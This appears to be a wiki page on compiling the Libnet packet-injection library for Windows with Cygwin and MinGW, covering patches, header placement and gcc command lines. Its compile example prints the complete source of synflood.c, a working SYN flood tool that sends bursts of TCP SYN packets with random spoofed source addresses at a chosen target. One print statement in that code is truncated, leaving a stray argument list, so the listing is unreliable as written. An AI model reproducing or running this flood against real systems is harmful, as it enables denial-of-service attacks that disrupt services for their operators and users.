Libnet for Win32
From Carboogle
Contents |
Resources
- Libnet official website
Using Cygwin (but I highly suggest to use MinGW)
It compiles and link with the examples, and i also manage to use it for the arping port.
Requirements
First you need to setup Winpcap on Cygwin. This can be easily done using this article: How to install Winpcap / Libpcap under Cygwin
Then you will have to download the version you want of Libnet
Compiling Libnet 1.1.2.1
You need this patch to compile libnet under cygwin. See README file for more details.
You can also download compiled binaries.
Compiling Libnet 1.1.3
You need this patch to compile libnet under cygwin. See README file for more details.
You can also download compiled binaries.
For example, here is my Cygwin console output used to apply this patch and compile Libnet.
To compile a sample or a file alone (for example synflood.c ), i used :
gcc -g -Wall -mno-cygwin -DNO_SNPRINTF -D_LIBNETCYGWIN -I /usr/include/pcap -I /usr/include/libnet/win32 -c synflood.c gcc -g -Wall -mno-cygwin -o synflood.exe synflood.o -lnet -lwpcap -lpacket -lws2_32 -liphlpapi
#include <libnet.h> #include <getopt.h> u_char enet_src[6] = {0x0d, 0x0e, 0x0a, 0x0d, 0x00, 0x00}; u_char enet_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; u_char ip_src[4] = {0x0a, 0x00, 0x00, 0x01}; u_char ip_dst[4] = {0x0a, 0x00, 0x00, 0x02}; u_char fddi_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; u_char fddi_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; u_char tr_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; u_char tr_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; u_char org_code[3] = {0x00, 0x00, 0x00}; struct t_pack { struct libnet_ipv4_hdr ip; struct libnet_tcp_hdr tcp; }; void usage(char *nomenclature) { fprintf(stderr, "\n\nusage: %s -t -a [-i -b]\n" "\t-t target, (ip.address.port: 192.168.2.6.23)\n" "\t-a number of packets to send per burst\n" "\t-i packet burst sending interval (defaults to 0)\n" "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature); } int main(int argc, char **argv) { u_long dst_ip = 0; u_long src_ip = 0; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; u_char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; packet_amt = 0; burst_int = 0; burst_amt = 1; /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then seperate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 't': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1) { fprintf(stderr, "Bad IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!dst_prt || !dst_ip || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { t = libnet_build_tcp( src_prt = libnet_get_prand(LIBNET_PRu16), dst_prt, libnet_get_prand(LIBNET_PRu32), libnet_get_prand(LIBNET_PRu32), TH_SYN, libnet_get_prand(LIBNET_PRu16), 0, 0, LIBNET_TCP_H, NULL, 0, l, t); if (build_ip) { build_ip = 0; libnet_build_ipv4( LIBNET_TCP_H + LIBNET_IPV4_H, 0, libnet_get_prand(LIBNET_PRu16), 0, libnet_get_prand(LIBNET_PR8), IPPROTO_TCP, 0, src_ip = libnet_get_prand(LIBNET_PRu32), dst_ip, NULL, 0, l, 0); } c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif libnet_addr2name4(src_ip, 1), ntohs(src_prt), libnet_addr2name4(dst_ip, 1), dst_prt); } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); }
!!! WARNING !!!
make install copies to /usr/include/ the win32 folder... You must move it into /usr/include/libnet folder.
/usr/include/libnet
¦ libnet-asn1.h
¦ libnet-functions.h
¦ libnet-headers.h
¦ libnet-macros.h
¦ libnet-structures.h
¦ libnet-types.h
¦
+---win32
getopt.h
in_systm.h
libnet.h
Also, you can remove the -DNO_SNPRINTF in the compilation line for recent version of Cygwin / Mingw. Edit /usr/bin/libnet-config and remove it here:
libnet_defines="-D_LIBNETCYGWIN" libnet_cflags="-mno-cygwin -I/usr/include/pcap -I /usr/include/libnet/win32" libnet_libs="-lws2_32 -liphlpapi -lnet"
The compilation line becomes:
gcc -g -Wall -mno-cygwin -D_LIBNETCYGWIN -I /usr/include/pcap -I /usr/include/libnet/win32 -c synflood.c gcc -g -Wall -mno-cygwin -o synflood.exe synflood.o -lnet -lwpcap -lpacket -lws2_32 -liphlpapi
All these modifications should have been included automatically through the configuration process but i did not have time to recheck all the diffs again.
Using MinGW
Requirements
- First install MinGW
- Setup Winpcap. This can be easily done using this article: How to install Winpcap / Libpcap under Cygwin
- Download the version you want of Libnet
Libnet 1.1.2.1
binaries
Binaries for Windows x86 here
compiling
I have ported libnet so that it compiles well under MinGW
- Download libnet-mingw-1.1.2.1.zip
- Unpack
- See the readme file or execute:
./autogen.sh ./configure make make install ./clean-generated.sh
Libnet 1.1.3
binaries
Binaries for Windows x86 here
compiling
I have ported libnet so that it compiles well under MinGW
- Download libnet-mingw-1.1.3.zip
- Unpack
- See the readme file or execute:
./autogen.sh ./configure make make install ./clean-generated.sh

